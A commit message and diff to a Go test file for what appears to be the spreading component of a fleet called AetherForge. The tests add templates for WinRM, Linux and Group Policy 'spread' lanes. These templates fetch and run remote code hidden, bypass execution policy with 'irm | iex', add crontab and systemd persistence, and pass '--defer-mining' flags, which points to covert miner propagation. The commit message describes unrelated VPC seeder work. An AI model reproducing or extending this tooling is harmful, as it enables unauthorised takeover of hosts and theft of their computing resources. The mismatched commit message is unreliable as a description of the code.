Elect one fleet torrent seeder per AWS VPC via IMDS cloud_instance_meta.

Agents read vpc-id from EC2 IMDS on auth; the server scopes subnet_primary_seeder to vpc-id with /24 fallback, exposes VPC seeder badges, and documents cross-VPC gossip via peering/TGW.

server/internal/api/spread_lanes_test.go

@@ -16,31 +16,134 @@ func writeDeploySpreadTemplates(t *testing.T, root string) {
 	if err := os.MkdirAll(winrmDir, 0o755); err != nil {
 		t.Fatal(err)
 	}
-	if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(`Enable-PSRemoting`), 0o644); err != nil {
+	winrmScript := `# WinRM bootstrap
+Enable-PSRemoting -Force -SkipNetworkProfileCheck
+$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
+Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
+powershell.exe -EncodedCommand $encoded
+`
+	if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	linuxDir := filepath.Join(root, "templates", "spread", "linux")
+	if err := os.MkdirAll(linuxDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	linuxScript := `#!/bin/sh
+LOTL_MODE='{{LOTL_MODE}}'
+curl -fsSL "${SERVER}/get?os=linux{{QUERY_SUFFIX}}"
+systemd-run --user --unit=aetherforge-worker.service
+persist_crontab() { crontab -; }
+`
+	if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	entDir := filepath.Join(root, "templates", "spread", "enterprise")
+	if err := os.MkdirAll(entDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	gpoScript := `# GPO computer startup script
+$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
+$env:AETHER_DEFER_MINING = '1'
+powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
+`
+	if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0o644); err != nil {
 		t.Fatal(err)
 	}
-	ssmDir := filepath.Join(root, "templates", "spread", "ssm")
-	_ = os.MkdirAll(ssmDir, 0o755)
-	_ = os.WriteFile(filepath.Join(ssmDir, "document.json"), []byte(`{"schemaVersion":"2.2","mainSteps":[{"inputs":{"runCommand":["curl '{{MANIFEST_URL}}'","{{SHARD_FETCH_LINES}}","curl '{{FALLBACK_GET_URL}}'"]}}]}`), 0o644)
-	_ = os.WriteFile(filepath.Join(ssmDir, "run-command.json"), []byte(`{"DocumentName":"AetherForge-ErasureSpread-{{BUILD_ID}}"}`), 0o644)
-	_ = os.WriteFile(filepath.Join(ssmDir, "create-document.sh"), []byte(`#!/bin/sh`), 0o644)
 }
 
-func TestDeployPlanSSMDocumentLane(t *testing.T) {
+func TestSpreadTemplatePathsWinRMGPO(t *testing.T) {
+	cases := map[string]struct {
+		subdir string
+		zip    string
+	}{
+		"winrm":           {"winrm", "aetherforge-winrm-bootstrap.zip"},
+		"linux-lotl":      {"linux", "aetherforge-linux-lotl.zip"},
+		"gpo":             {"enterprise", "aetherforge-gpo-startup.zip"},
+		"enterprise-gpo":  {"enterprise", "aetherforge-gpo-startup.zip"},
+	}
+	for tpl, want := range cases {
+		subdir, zip, err := spreadTemplatePaths(tpl)
+		if err != nil {
+			t.Fatalf("%q: %v", tpl, err)
+		}
+		if subdir != want.subdir || zip != want.zip {
+			t.Fatalf("%q => subdir=%q zip=%q want %+v", tpl, subdir, zip, want)
+		}
+	}
+	_, _, err := spreadTemplatePaths("bogus-lane")
+	if err == nil || !strings.Contains(err.Error(), "unknown template") {
+		t.Fatalf("err=%v", err)
+	}
+}
+
+func TestDeployPlanWinRMLane(t *testing.T) {
 	root := t.TempDir()
 	writeDeploySpreadTemplates(t, root)
 	h := testDeployPlanHandlerWithRoot(t, root)
 	plan, err := h.buildPlan(deployPlanRequest{
-		Platform: "linux", BuildID: "b1", Campaign: "ssm-lab",
-	}, "AmazonSSMAgent", ServiceDeployLane{Lane: "ssm_document", Template: "ssm-document"})
+		Platform: "windows", BuildID: "b1", Campaign: "winrm-lab",
+	}, "WinRM", ServiceDeployLane{Lane: "winrm", Template: "winrm"})
 	if err != nil {
 		t.Fatal(err)
 	}
-	if plan.JoinLane != "ssm_document" || plan.SSMDocument == "" {
+	if plan.JoinLane != "winrm" || plan.Script == "" {
 		t.Fatalf("plan=%+v", plan)
 	}
-	if !strings.Contains(plan.SSMDocument, "schemaVersion") {
-		t.Fatalf("doc=%s", plan.SSMDocument)
+	for _, marker := range []string{
+		"http://127.0.0.1:8989/get?os=windows",
+		"--spread-install",
+		"--defer-mining",
+		"Enable-PSRemoting",
+	} {
+		if !strings.Contains(plan.Script, marker) {
+			t.Fatalf("script missing %q: %s", marker, plan.Script)
+		}
+	}
+}
+
+func TestDeployPlanGPOLane(t *testing.T) {
+	root := t.TempDir()
+	writeDeploySpreadTemplates(t, root)
+	h := testDeployPlanHandlerWithRoot(t, root)
+	plan, err := h.buildPlan(deployPlanRequest{
+		Platform: "windows", BuildID: "b1", Campaign: "gpo-wave",
+	}, "gpsvc", ServiceDeployLane{Lane: "gpo", Template: "gpo"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if plan.JoinLane != "gpo" || plan.Script == "" {
+		t.Fatalf("plan=%+v", plan)
+	}
+	for _, marker := range []string{"/install.ps1", "AETHER_DEFER_MINING"} {
+		if !strings.Contains(plan.Script, marker) {
+			t.Fatalf("script missing %q: %s", marker, plan.Script)
+		}
+	}
+	if !strings.Contains(plan.Script, "pin=b1") || !strings.Contains(plan.Script, "c=gpo-wave") {
+		t.Fatalf("script missing query suffix: %s", plan.Script)
+	}
+}
+
+func TestDeployPlanLinuxLOTLLane(t *testing.T) {
+	root := t.TempDir()
+	writeDeploySpreadTemplates(t, root)
+	h := testDeployPlanHandlerWithRoot(t, root)
+	plan, err := h.buildPlan(deployPlanRequest{
+		Platform: "linux", BuildID: "b1", Campaign: "lotl-lab",
+	}, "sshd", ServiceDeployLane{Lane: "linux_lotl", Template: "linux-lotl"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if plan.JoinLane != "linux_lotl" || plan.Script == "" {
+		t.Fatalf("plan=%+v", plan)
+	}
+	for _, marker := range []string{"systemd-run --user", "curl -fsSL", "systemd_run_user"} {
+		if !strings.Contains(plan.Script, marker) {
+			t.Fatalf("script missing %q: %s", marker, plan.Script)
+		}
 	}
 }
 
@@ -53,10 +156,22 @@ func testDeployPlanHandlerWithRoot(t *testing.T, projectRoot string) *DeployPlan
 	}
 	t.Cleanup(func() { _ = database.Close() })
 	buildDir := filepath.Join(dir, "builds", "b1")
-	_ = os.MkdirAll(buildDir, 0o755)
+	if err := os.MkdirAll(buildDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
 	artifact := filepath.Join(buildDir, "worker.exe")
-	_ = os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644)
-	_ = database.InsertBuild(&models.BuildRecord{ID: "b1", Platform: "linux", FileName: "worker.exe", FilePath: artifact})
+	if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := database.InsertBuild(&models.BuildRecord{
+		ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact,
+	}); err != nil {
+		t.Fatal(err)
+	}
+	cfgPath := filepath.Join(dir, "config.json")
+	if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
 	return NewDeployPlanHandler(database, dir, projectRoot,
 		func() string { return "http://127.0.0.1:8989" },
 		func() string { return "fleet-test" },